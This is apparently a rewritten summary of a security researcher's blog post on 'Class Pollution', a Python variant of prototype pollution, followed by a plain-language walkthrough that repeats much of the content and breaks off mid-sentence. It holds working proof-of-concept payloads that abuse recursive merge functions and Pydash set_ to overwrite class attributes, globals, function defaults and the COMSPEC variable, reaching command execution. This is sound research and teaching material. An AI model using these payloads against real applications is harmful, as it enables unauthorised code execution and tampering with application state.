Prototype Pollution in Python
The author shows that a recursive merge function in Python can be abused to overwrite special attributes such as __class__, __base__ and __globals__, letting an attacker change class attributes and global variables. In the demonstrated examples this reaches command execution through a gadget, though the author states no full real-world exploit leading to RCE was found.
Published on blog.abdulrah33m.com
The main objective of this research is to prove the possibility of having a variant of Prototype Pollution in other programming languages, including those that are class-based by showing Class Pollution in Python.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This research explores whether the idea behind Prototype Pollution can exist in programming languages other than JavaScript, including class-based languages. The author calls the Python variant Class Pollution, because Python has no prototypes. The work is explicitly a work in progress: the post is described as frequently updated, and while the author found examples of vulnerable merge functions in various open-source projects, a full exploit leading to RCE had not been found at the time of writing.
Prototype Pollution is usually described as language-specific: the name suggests it should affect prototype-based languages only. JavaScript is not the only prototype-based language, but it is the most popular one, which explains why nearly all resources cover JavaScript, client-side or server-side. The author's point is that a language is not vulnerable merely because it uses prototypes, and conversely that the idea of polluting a shared parent can be replicated elsewhere.
In JavaScript, prototypes are the mechanism by which objects inherit features from one another. When a property is not found on an object itself, the prototype is searched, then the prototype's prototype, and so on until the property is found or the chain ends and undefined is returned. Prototype Pollution is a vulnerability where an attacker can modify Object.prototype; because nearly all objects are instances of Object, the change can affect a wide range of behaviour, sometimes even remote code execution.
The author frames Prototype Pollution as a fancy form of object injection: instead of setting an attribute on a single object, you pollute the parent so the change is reflected on all other objects that would otherwise be inaccessible. It has a lot in common with insecure deserialisation, but the two should not be confused.
Setup
The research is done in Python, using the interpreter directly and small self-contained scripts. No accounts, roles or third-party services are involved. The tools are the Python standard library (subprocess, json) and the Pydash library, the Python port of Lodash. The Windows-specific gadget requires a Windows host; the author notes that the subprocess.Popen exploit works on Windows only.
The precondition for everything that follows is an application that takes attacker-controlled input and feeds it to a recursive merge-style function which sets attributes (and ideally items) on an object. The author ported the recursive merge function commonly abused in JavaScript Prototype Pollution to Python for the experiments.
Finding it
Python has no prototypes, but every object has special attributes. Dunder methods (magic methods) such as __str__(), __eq__() and __call__() are implicitly invoked during various operations; built-in classes provide default implementations, and developers can override them. Other special attributes such as __class__ and __doc__ each serve a specific purpose.

Python also lets you update objects of mutable types at runtime, defining or overwriting attributes and methods. The author demonstrates this with an empty class:
class Employee: pass # Creating an empty class
emp = Employee()
another_emp = Employee()
Employee.name = 'No one' # Defining an attribute for the Employee class
print(emp.name)
emp.name = 'Employee 1' # Defining an attribute for an object (overriding the class attribute)
print(emp.name)
emp.say_hi = lambda: 'Hi there!' # Defining a method for an object
print(emp.say_hi())
Employee.say_bye = lambda s: 'Bye!' # Defining a method for the Employee class
print(emp.say_bye())
Employee.say_bye = lambda s: 'Bye bye!' # Overwriting a method of the Employee class
print(another_emp.say_bye())
#> No one
#> Employee 1
#> Hi there!
#> Bye!
#> Bye bye!
Attributes and methods can be defined on a specific object (non-static, accessible by that instance only) or on a class (static, accessible by all objects of that class). This raised the question of whether the same concept could be applied in Python by leveraging the special attributes all objects have.
From an attacker's perspective, the interesting targets are attributes that can be overwritten, not the magic methods. Input is always treated as data (str, int and so on), never as code to be evaluated, so overwriting a magic method with a string crashes the application when the method is invoked: calling __str__() after setting it to a string throws TypeError: 'str' object is not callable.

The first candidate is __class__, which points to the class an object is an instance of. You can think of <instance>.__class__ in Python as <instance>.constructor in JavaScript.
class Employee: pass # Creating an empty class
emp = Employee()
emp.__class__ = 'Polluted'
#> Traceback (most recent call last):
#> File "<stdin>", line 1, in <module>
#> TypeError: __class__ must be set to a class, not 'str' object
The error is promising: it shows the assignment was attempted, and only the datatype was wrong. __class__ must be set to another class. So the author tries an attribute that accepts strings: __qualname__ of __class__, which contains the class name.
class Employee: pass # Creating an empty class
emp = Employee()
emp.__class__.__qualname__ = 'Polluted'
print(emp)
print(Employee)
#> <__main__.Polluted object at 0x0000024765C48250>
#> <class '__main__.Polluted'>
Setting __class__.__qualname__ on an instance changed the __qualname__ of the class itself, because __class__ is a reference to the class and any modification on it is applied to the class.
Exploitation
Step 1: a recursive merge function in Python
To model a real application, the author ported the recursive merge function abused in JavaScript Prototype Pollution. Such functions exist in many forms and are used for merging objects, setting an object's attributes from JSON, and similar tasks. The key functionality to look for is a function that takes untrusted input and uses it to set attributes of an object recursively. Finding one is enough to exploit the vulnerability. If the function also traverses and sets items (__getitem__ and __setitem__) as well as attributes (__getattr__ and __setattr__), finding gadgets is easier. A merge function that only sets items of a dictionary via __getitem__ and __setitem__ is usually not exploitable, because special attributes such as __class__ and __base__ cannot be reached. In JavaScript this distinction is easy to miss, because an object is just a dictionary and <object>[<property>] and <object>.<property> both access properties.
class Employee: pass # Creating an empty class
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}
emp = Employee()
print(vars(emp))
merge(emp_info, emp)
print(vars(emp))
print(f'Name: {emp.name}, age: {emp.age}, manager name: {emp.manager.get("name")}')
#> {}
#> {'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
#> Name: Ahemd, age: 23, manager name: Sarah
The merge function reads keys and values from the attacker-controlled emp_info dictionary and sets them on the emp instance. What was an empty instance ends up with the attributes and items from the dictionary.
Step 2: polluting the class through __class__
Adding a __class__ key to the input lets the merge walk into the class and set __qualname__:
class Employee: pass # Creating an empty class
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
},
"__class__":{
"__qualname__":"Polluted"
}
}
emp = Employee()
merge(emp_info, emp)
print(vars(emp))
print(emp)
print(emp.__class__.__qualname__)
print(Employee)
print(Employee.__qualname__)
#> {'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
#> <__main__.Polluted object at 0x000001F80B20F5D0>
#> Polluted
#> <class '__main__.Polluted'>
#> Polluted
The Employee class is polluted because an instance of it is passed to the merge function.
Step 3: reaching parent classes with __base__
__base__ is an attribute of a class that points to the nearest parent class it inherits from. In an inheritance chain it points to the last class inherited. In the example, hr_emp.__class__ points to HR, while hr_emp.__class__.__base__ points to Employee, which is the class being polluted.
class Employee: pass # Creating an empty class
class HR(Employee): pass # Class inherits from Employee class
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = {
"__class__":{
"__base__":{
"__qualname__":"Polluted"
}
}
}
hr_emp = HR()
merge(emp_info, hr_emp)
print(HR)
print(Employee)
#> <class '__main__.HR'>
#> <class '__main__.Polluted'>
The same approach works for any parent class in the chain (that is not one of the immutable types) by chaining __base__ together: __base__.__base__, __base__.__base__.__base__ and so on.
Step 4: the object class is off limits
Polluting object, the parent of all classes, would reflect on every object, but Python does not allow it. Setting object.__qualname__ = 'Polluted', for example, returns TypeError: cannot set '__qualname__' attribute of immutable type 'object'. Python does not allow modifying classes of immutable types such as object, str, int and dict.
Because of this limitation, to exploit Class Pollution the unsafe merge and the attribute used to leverage a gadget must be in the same class, or at least share the same parent class (other than object) at some point in the inheritance chain. The author adds "not really, wait for it", because __globals__ later removes this restriction.
Step 5: a gadget in a sibling class
The following example shows the merge happening on a Recruiter instance while the gadget, execute_command, lives in SystemAdmin. Both classes inherit from Employee at some point.
from os import popen
class Employee: pass # Creating an empty class
class HR(Employee): pass # Class inherits from Employee class
class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class
def execute_command(self):
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = {
"__class__":{
"__base__":{
"__base__":{
"custom_command": "whoami"
}
}
}
}
recruiter_emp = Recruiter()
system_admin_emp = SystemAdmin()
print(system_admin_emp.execute_command())
merge(emp_info, recruiter_emp)
print(system_admin_emp.execute_command())
#> [!] Executing: "echo Hello there", output: "Hello there"
#> [!] Executing: "whoami", output: "abdulrah33m"
Setting custom_command on Employee means that when a SystemAdmin instance looks for that attribute, it finds it through inheritance. Whether the Recruiter instance was created before or after the merge does not matter, because the class itself is polluted and the change is reflected on existing and new instances. The only ordering requirement is that the gadget is invoked after the pollution.
Step 6: escaping the class hierarchy with __globals__
Pollution is not limited to the instance's classes and their attributes. The __globals__ attribute is, per the Python documentation, "A reference to the dictionary that holds the function's global variables, the global namespace of the module in which the function was defined." It gives access to defined variables, imported modules and so on. To access items of __globals__, the merge function must use __getitem__.
__globals__ is reachable from any defined method of the instance, such as __init__. Any defined method works, but __init__ is the most likely to exist on every class since it is the constructor. Built-in methods inherited from object, such as __str__, cannot be used unless they were overridden. <instance>.__init__, <instance>.__class__.__init__ and <class>.__init__ are all the same and point to the same class constructor.
The rule of thumb: if there is a chain of attributes/items (based on what the merge function supports) from the controlled object to any attribute or variable, it can be overwritten. This greatly increases the attack surface when looking for gadgets.
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable)
print(NotAccessibleClass)
#> Polluted variable
#> <class '__main__.PollutedClass'>
NotAccessibleClass and not_accessible_variable would not be reachable otherwise: the class is not a parent of the controlled instance and the variable is not an attribute of the controlled class. The chain through __globals__ makes both reachable.
Step 7: Pydash set_ and set_with
Pydash is the Python implementation of Lodash, and Lodash is one of the JavaScript libraries where Prototype Pollution was discovered and reported more than once. Pydash's set_ and set_with are recursive merge-style functions that can be used to pollute attributes. Both allow moving between an object's attributes and dictionary items and setting them, which is the most useful case. They take the object, the path of the attribute/item to set, and the value.
All the previous examples work with set_ and set_with instead of the hand-written merge function. The difference is that Pydash uses dot notation, ((<attribute>|<item>).)*(<attribute>|<item>), rather than the JSON format.
import pydash
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
pydash.set_(User(), '__class__.__init__.__globals__.not_accessible_variable','Polluted variable')
print(not_accessible_variable)
pydash.set_(User(), '__class__.__init__.__globals__.NotAccessibleClass.__qualname__','PollutedClass')
print(NotAccessibleClass)
#> Polluted variable
#> <class '__main__.PollutedClass'>
Step 8: gadget, subprocess.Popen on Windows
As with Prototype Pollution, impact depends on the application and the available gadgets, ranging from DoS by crashing the application to command execution. The first gadget targets subprocess.Popen on Windows. The script merges attacker-controlled JSON into a new Employee instance, then runs a hard-coded whoami through Popen. The goal is to hijack Popen so it runs arbitrary commands instead.
import subprocess, json
class Employee:
def __init__(self):
pass
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = json.loads('{"name": "employee"}') # attacker-controlled value
merge(emp_info, Employee())
subprocess.Popen('whoami', shell=True)
Looking at the subprocess module source for Windows, the relevant part is:
if shell:
startupinfo.dwFlags |= _winapi.STARTF_USESHOWWINDOW
startupinfo.wShowWindow = _winapi.SW_HIDE
comspec = os.environ.get("COMSPEC", "cmd.exe")
args = '{} /c "{}"'.format (comspec, args)
When shell is True, the code reads the path of cmd.exe from the COMSPEC environment variable and runs C:\WINDOWS\system32\cmd.exe /c <command>. If COMSPEC is not defined, the local variable comspec (not the environment variable) is set to cmd.exe. Controlling COMSPEC in os.environ therefore allows injecting arbitrary commands.
The chain is:
- Access any method of the
Employeeinstance other than the built-in ones to reach__globals__; here it is__init__. - Through
__globals__, reach thesubprocessmodule imported in the script. - The first lines of
subprocessimport theosmodule, which is needed to reachenviron. Ifoswere already imported in the script, it could be reached directly via__init__.__globals__.oswithout going throughsubprocess. - From the
osmodule, overwriteCOMSPECinsideenvironto inject a command.
import subprocess, json
class Employee:
def __init__(self):
pass
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
Step 9: gadget, overwriting a function's __kwdefaults__
__kwdefaults__ is a special attribute of all functions: per the Python documentation, a "mapping of any default values for keyword-only parameters". Polluting it controls the default values of keyword-only parameters, the ones after * or *args.
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def print_message(*, message='Hello there'):
print(message)
print(print_message.__kwdefaults__)
print_message()
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"print_message":{"__kwdefaults__":{"message":"Polluted default value"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(print_message.__kwdefaults__)
print_message()
#> {'message': 'Hello there'}
#> Hello there
#> {'message': 'Polluted default value'}
#> Polluted default value
__defaults__ is a tuple holding defaults for positional-or-keyword parameters, and polluting it would be useful, but it is not possible when the attacker-controlled input is parsed as JSON, because JSON has no tuples ().
Step 10: other gadgets
The author lists two more without full examples: overwriting a Flask web app's secret key used for session signing, and path hijacking via os.environ.
Root cause
The mistake is a recursive merge that takes untrusted input and uses it to set attributes (and items) on an object without restricting which keys may be traversed. Because Python exposes special attributes such as __class__, __base__, __init__ and __globals__, a key that looks like data can walk from the instance into its class, into parent classes, and through a method's globals into module-level variables and imported modules. The same input that should only populate fields like name and age can therefore rewrite class attributes and global state.
Existing defences did not stop it because Python's own protection only covers immutable types: object, str, int, dict and similar cannot be modified, which is why object.__qualname__ fails. Everything else in the chain is mutable, so the restriction only narrows the target set rather than preventing the attack. The author notes that a merge function which only sets dictionary items via __getitem__ and __setitem__ is usually not exploitable, since special attributes cannot be reached that way; the dangerous case is a function that also sets attributes, or that supports both attributes and items.
Impact
The impact depends on the application and the gadgets available, ranging from denial of service by crashing the application to command execution. The author is explicit that a full exploit leading to RCE had not been found at the time of writing, although vulnerable merge functions were found in various open-source projects. The demonstrated command execution gadgets are proof-of-concept scripts: the subprocess.Popen one works on Windows only. The __globals__ chain widens the attack surface considerably, because it allows reaching classes and variables that are not in the controlled instance's inheritance chain.
Fix
The report does not describe a fix applied to any project. The implied mitigation is to constrain what a recursive merge may traverse: reject or ignore keys that resolve to special attributes such as __class__, __base__, __globals__ and __kwdefaults__, and avoid using attacker-controlled keys to set attributes on arbitrary objects. A merge that only sets items of a plain dictionary, without attribute access, avoids the class and globals traversal described here.
Variants to test
- Recursive merge into an object. Feed a JSON body with a
__class__key into any endpoint that merges input into an object. A positive result is that the class's__qualname__changes, visible in the object's repr or in error messages. - Parent class traversal. Add nested
__base__keys to reach a parent class. A positive result is that a parent class's attribute changes while the instance's own class is untouched. - Sibling class gadget. If two classes share a parent, merge into an instance of one and look for a method on the other that reads an attribute it does not define. A positive result is that the method picks up the polluted value from the shared parent.
- Globals escape. Use
__class__.__init__.__globals__to reach module-level variables and imported modules. A positive result is that a global variable or an unrelated class changes. - Pydash
set_andset_with. Where these functions process user input, pass dot-notation paths such as__class__.__init__.__globals__.<name>. A positive result is the same pollution as with a hand-written merge. - Environment variable hijack. On Windows, pollute
COMSPECthrough__globals__.subprocess.os.environbefore aPopen(..., shell=True)call. A positive result is that the injected command runs instead of the intended one. - Keyword-only defaults. Pollute a function's
__kwdefaults__through globals. A positive result is that calling the function without the keyword argument uses the polluted default. - Flask secret key and path hijacking. Try overwriting the Flask secret key used for session signing, and try path hijacking via
os.environ. Try overwriting the Flask secret key used for session signing, and try path hijacking viaos.environ.
What happened, in plain words
A security researcher wanted to answer a simple question: the well-known bug called Prototype Pollution is always described as a JavaScript problem, but could the same idea work in other programming languages, including ones like Python that are built on classes rather than prototypes? The answer, as this research shows, is yes. The author calls the Python version Class Pollution, because Python has no prototypes to pollute.
This is important to say up front: the research is a work in progress. The author says the post will be frequently updated, and that while vulnerable merge functions were found in various open-source projects, a full exploit leading to RCE (remote code execution, meaning an attacker running their own commands on someone else's machine) had not been found at the time of writing.
To follow this, you only need to understand a few everyday ideas. A programming language is the set of rules used to write software. A class is a blueprint for a kind of thing in a program, for example an Employee. An object (also called an instance) is one concrete thing built from that blueprint, for example one particular employee. An attribute is a named piece of information attached to an object or class, such as a name or an age. A method is a named action an object can perform, such as say_hi(). A function is a reusable block of code that does something when called. A module is a file of ready-made code that a program can import and use.
Prototype Pollution is usually described as language-specific: the name suggests it should affect prototype-based languages only. JavaScript is not the only prototype-based language, but it is the most popular one, which explains why nearly all resources cover JavaScript, whether in the browser (client-side) or on a server (server-side). The author's point is that a language is not vulnerable merely because it uses prototypes, and conversely that the idea of polluting a shared parent can be replicated elsewhere.
In JavaScript, prototypes are the mechanism by which objects inherit features from one another. When a property is not found on an object itself, the prototype is searched, then the prototype's prototype, and so on until the property is found or the chain ends and undefined is returned. Prototype Pollution is a vulnerability where an attacker can modify Object.prototype; because nearly all objects are instances of Object, the change can affect a wide range of behaviour, sometimes even remote code execution.
The author frames Prototype Pollution as a fancy form of object injection: instead of setting an attribute on a single object, you pollute the parent so the change is reflected on all other objects that would otherwise be inaccessible. It has a lot in common with insecure deserialisation, but the two should not be confused.
Setup
The research is done in Python, using the interpreter directly and small self-contained scripts. No accounts, roles or third-party services are involved. The tools are the Python standard library (subprocess, json) and the Pydash library, the Python port of Lodash. The Windows-specific gadget requires a Windows host; the author notes that the subprocess.Popen exploit works on Windows only.
The precondition for everything that follows is an application that takes attacker-controlled input and feeds it to a recursive merge-style function which sets attributes (and ideally items) on an object. The author ported the recursive merge function commonly abused in JavaScript Prototype Pollution to Python for the experiments.
Finding it
Python has no prototypes, but every object has special attributes. Dunder methods (magic methods) such as __str__(), __eq__() and __call__() are implicitly invoked during various operations; built-in classes provide default implementations, and developers can override them. Other special attributes such as __class__ and __doc__ each serve a specific purpose.

Python also lets you update objects of mutable types at runtime, defining or overwriting attributes and methods. The author demonstrates this with an empty class:
class Employee: pass # Creating an empty class
emp = Employee()
another_emp = Employee()
Employee.name = 'No one' # Defining an attribute for the Employee class
print(emp.name)
emp.name = 'Employee 1' # Defining an attribute for an object (overriding the class attribute)
print(emp.name)
emp.say_hi = lambda: 'Hi there!' # Defining a method for an object
print(emp.say_hi())
Employee.say_bye = lambda s: 'Bye!' # Defining a method for the Employee class
print(emp.say_bye())
Employee.say_bye = lambda s: 'Bye bye!' # Overwriting a method of the Employee class
print(another_emp.say_bye())
#> No one
#> Employee 1
#> Hi there!
#> Bye!
#> Bye bye!
Line by line, in plain words:
class Employee: passcreates an empty blueprint calledEmployee. The wordpassmeans "nothing here yet".emp = Employee()builds one object from that blueprint and stores it in a variable calledemp.another_emp = Employee()builds a second, separate object.Employee.name = 'No one'attaches a name to the blueprint itself, so every object built from it can see that name.print(emp.name)printsNo one.emp.name = 'Employee 1'attaches a name to the single objectemp, which overrides the blueprint's value for that object only.print(emp.name)printsEmployee 1.emp.say_hi = lambda: 'Hi there!'gives the single objectempa new action.lambdais a short way to write a tiny function.print(emp.say_hi())printsHi there!.Employee.say_bye = lambda s: 'Bye!'gives the blueprint an action, so all objects built from it can use it.print(emp.say_bye())printsBye!.Employee.say_bye = lambda s: 'Bye bye!'replaces that action on the blueprint.print(another_emp.say_bye())printsBye bye!, showing the change reached the second object too.
Attributes and methods can be defined on a specific object (non-static, accessible by that instance only) or on a class (static, accessible by all objects of that class). This raised the question of whether the same concept could be applied in Python by leveraging the special attributes all objects have.
From an attacker's perspective, the interesting targets are attributes that can be overwritten, not the magic methods. Input is always treated as data (str, int and so on), never as code to be evaluated, so overwriting a magic method with a string crashes the application when the method is invoked: calling __str__() after setting it to a string throws TypeError: 'str' object is not callable.

The first candidate is __class__, which points to the class an object is an instance of. You can think of <instance>.__class__ in Python as <instance>.constructor in JavaScript.
class Employee: pass # Creating an empty class
emp = Employee()
emp.__class__ = 'Polluted'
#> Traceback (most recent call last):
#> File "<stdin>", line 1, in <module>
#> TypeError: __class__ must be set to a class, not 'str' object
Line by line:
class Employee: passcreates the empty blueprint again.emp = Employee()builds one object from it.emp.__class__ = 'Polluted'tries to replace the object's pointer to its class with the plain textPolluted.- The interpreter refuses and prints a
TypeError, explaining that__class__must be set to a class, not a string.
The error is promising: it shows the assignment was attempted, and only the datatype was wrong. __class__ must be set to another class. So the author tries an attribute that accepts strings: __qualname__ of __class__, which contains the class name.
class Employee: pass # Creating an empty class
emp = Employee()
emp.__class__.__qualname__ = 'Polluted'
print(emp)
print(Employee)
#> <__main__.Polluted object at 0x0000024765C48250>
#> <class '__main__.Polluted'>
Line by line:
class Employee: passcreates the empty blueprint.emp = Employee()builds one object from it.emp.__class__.__qualname__ = 'Polluted'walks from the object to its class, then to the class's name, and renames it toPolluted.print(emp)shows the object now describes itself as aPollutedobject.print(Employee)shows the blueprint itself is now calledPolluted.
Setting __class__.__qualname__ on an instance changed the __qualname__ of the class itself, because __class__ is a reference to the class and any modification on it is applied to the class.
Exploitation
Step 1: a recursive merge function in Python
To model a real application, the author ported the recursive merge function abused in JavaScript Prototype Pollution. Such functions exist in many forms and are used for merging objects, setting an object's attributes from JSON, and similar tasks. The key functionality to look for is a function that takes untrusted input and uses it to set attributes of an object recursively. Finding one is enough to exploit the vulnerability. If the function also traverses and sets items (__getitem__ and __setitem__) as well as attributes (__getattr__ and __setattr__), finding gadgets is easier. A merge function that only sets items of a dictionary via __getitem__ and __setitem__ is usually not exploitable, because special attributes such as __class__ and __base__ cannot be reached. In JavaScript this distinction is easy to miss, because an object is just a dictionary and <object>[<property>] and <object>.<property> both access properties.
class Employee: pass # Creating an empty class
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}
emp = Employee()
print(vars(emp))
merge(emp_info, emp)
print(vars(emp))
print(f'Name: {emp.name}, age: {emp.age}, manager name: {emp.manager.get("name")}')
#> {}
#> {'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
#> Name: Ahemd, age: 23, manager name: Sarah
Line by line:
class Employee: passcreates an empty blueprint.def merge(src, dst):defines a function calledmergethat takes two things:src(the source of information) anddst(the destination to fill in).for k, v in src.items():goes through every key and value in the source, one pair at a time. A key is a label, a value is what sits under that label.if hasattr(dst, '__getitem__'):asks whether the destination supports square-bracket access, like a dictionary does.if dst.get(k) and type(v) == dict:checks whether the destination already has something under this key and whether the value is itself a nested group of key/value pairs (adict).merge(v, dst.get(k))then calls itself on that nested group, which is what makes the function recursive: it keeps going deeper.else: dst[k] = votherwise simply stores the value under the key.elif hasattr(dst, k) and type(v) == dict:if the destination does not support square brackets but does have an attribute with this name, and the value is a nested group, recurse into that attribute.else: setattr(dst, k, v)in every other case, set the attribute namedkto the valuev.emp_info = {...}builds a dictionary of employee details, including a nestedmanagerdictionary.emp = Employee()builds an empty object.print(vars(emp))prints the object's attributes, which is{}because it is empty.merge(emp_info, emp)copies everything from the dictionary onto the object.- The final prints show the object now holds the name, age and manager details.
The merge function reads keys and values from the attacker-controlled emp_info dictionary and sets them on the emp instance. What was an empty instance ends up with the attributes and items from the dictionary.
Step 2: polluting the class through __class__
Adding a __class__ key to the input lets the merge walk into the class and set __qualname__:
class Employee: pass # Creating an empty class
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
},
"__class__":{
"__qualname__":"Polluted"
}
}
emp = Employee()
merge(emp_info, emp)
print(vars(emp))
print(emp)
print(emp.__class__.__qualname__)
print(Employee)
print(Employee.__qualname__)
#> {'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
#> <__main__.Polluted object at 0x000001F80B20F5D0>
#> Polluted
#> <class '__main__.Polluted'>
#> Polluted
Line by line:
- The
mergefunction is the same as before. emp_infonow contains an extra key called__class__, whose value is another dictionary containing__qualname__set toPolluted.emp = Employee()builds an empty object andmerge(emp_info, emp)copies the dictionary onto it.- When the merge reaches
__class__, it does not create a harmless new field. It follows the object's pointer to its class and then sets the class's name toPolluted. - The prints show the object's fields, the object's description, the class name, the class itself and the class name again, all reflecting the change.
The Employee class is polluted because an instance of it is passed to the merge function.
Step 3: reaching parent classes with __base__
__base__ is an attribute of a class that points to the nearest parent class it inherits from. In an inheritance chain it points to the last class inherited. In the example, hr_emp.__class__ points to HR, while hr_emp.__class__.__base__ points to Employee, which is the class being polluted.
class Employee: pass # Creating an empty class
class HR(Employee): pass # Class inherits from Employee class
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = {
"__class__":{
"__base__":{
"__qualname__":"Polluted"
}
}
}
hr_emp = HR()
merge(emp_info, hr_emp)
print(HR)
print(Employee)
#> <class '__main__.HR'>
#> <class '__main__.Polluted'>
Line by line:
class Employee: passcreates the parent blueprint.class HR(Employee): passcreates a child blueprint calledHRthat inherits everything fromEmployee. Inheritance means the child automatically gets the parent's attributes and methods.- The
mergefunction is unchanged. emp_infocontains__class__, then__base__, then__qualname__. This is a path: from the object to its class, from that class to its parent, and then rename the parent.hr_emp = HR()builds an object from the child class, andmerge(emp_info, hr_emp)follows the path.- The prints show
HRkeeps its own name, whileEmployeehas been renamed toPolluted.
The same approach works for any parent class in the chain (that is not one of the immutable types) by chaining __base__ together: __base__.__base__, __base__.__base__.__base__ and so on.
Step 4: the object class is off limits
Polluting object, the parent of all classes, would reflect on every object, but Python does not allow it. Setting object.__qualname__ = 'Polluted', for example, returns TypeError: cannot set '__qualname__' attribute of immutable type 'object'. Python does not allow modifying classes of immutable types such as object, str, int and dict.
Because of this limitation, to exploit Class Pollution the unsafe merge and the attribute used to leverage a gadget must be in the same class, or at least share the same parent class (other than object) at some point in the inheritance chain. The author adds "not really, wait for it", because __globals__ later removes this restriction.
Step 5: a gadget in a sibling class
The following example shows the merge happening on a Recruiter instance while the gadget, execute_command, lives in SystemAdmin. Both classes inherit from Employee at some point.
from os import popen
class Employee: pass # Creating an empty class
class HR(Employee): pass # Class inherits from Employee class
class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class
def execute_command(self):
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = {
"__class__":{
"__base__":{
"__base__":{
"custom_command": "whoami"
}
}
}
}
recruiter_emp = Recruiter()
system_admin_emp = SystemAdmin()
print(system_admin_emp.execute_command())
merge(emp_info, recruiter_emp)
print(system_admin_emp.execute_command())
#> [!] Executing: "echo Hello there", output: "Hello there"
#> [!] Executing: "whoami", output: "abdulrah33m"
Line by line:
from os import popenbrings inpopen, a helper that runs a command on the computer and lets the program read its output.class Employee: passis the shared parent.class HR(Employee): passis a child ofEmployee.class Recruiter(HR): passis a child ofHR, so it is a grandchild ofEmployee.class SystemAdmin(Employee):is a separate child ofEmployee. It has a methodexecute_command.- Inside
execute_command,command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'means: if this object has an attribute calledcustom_command, use it as the command; otherwise use the harmlessecho Hello there. return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'runs the command and returns a sentence containing the command and its output.- The
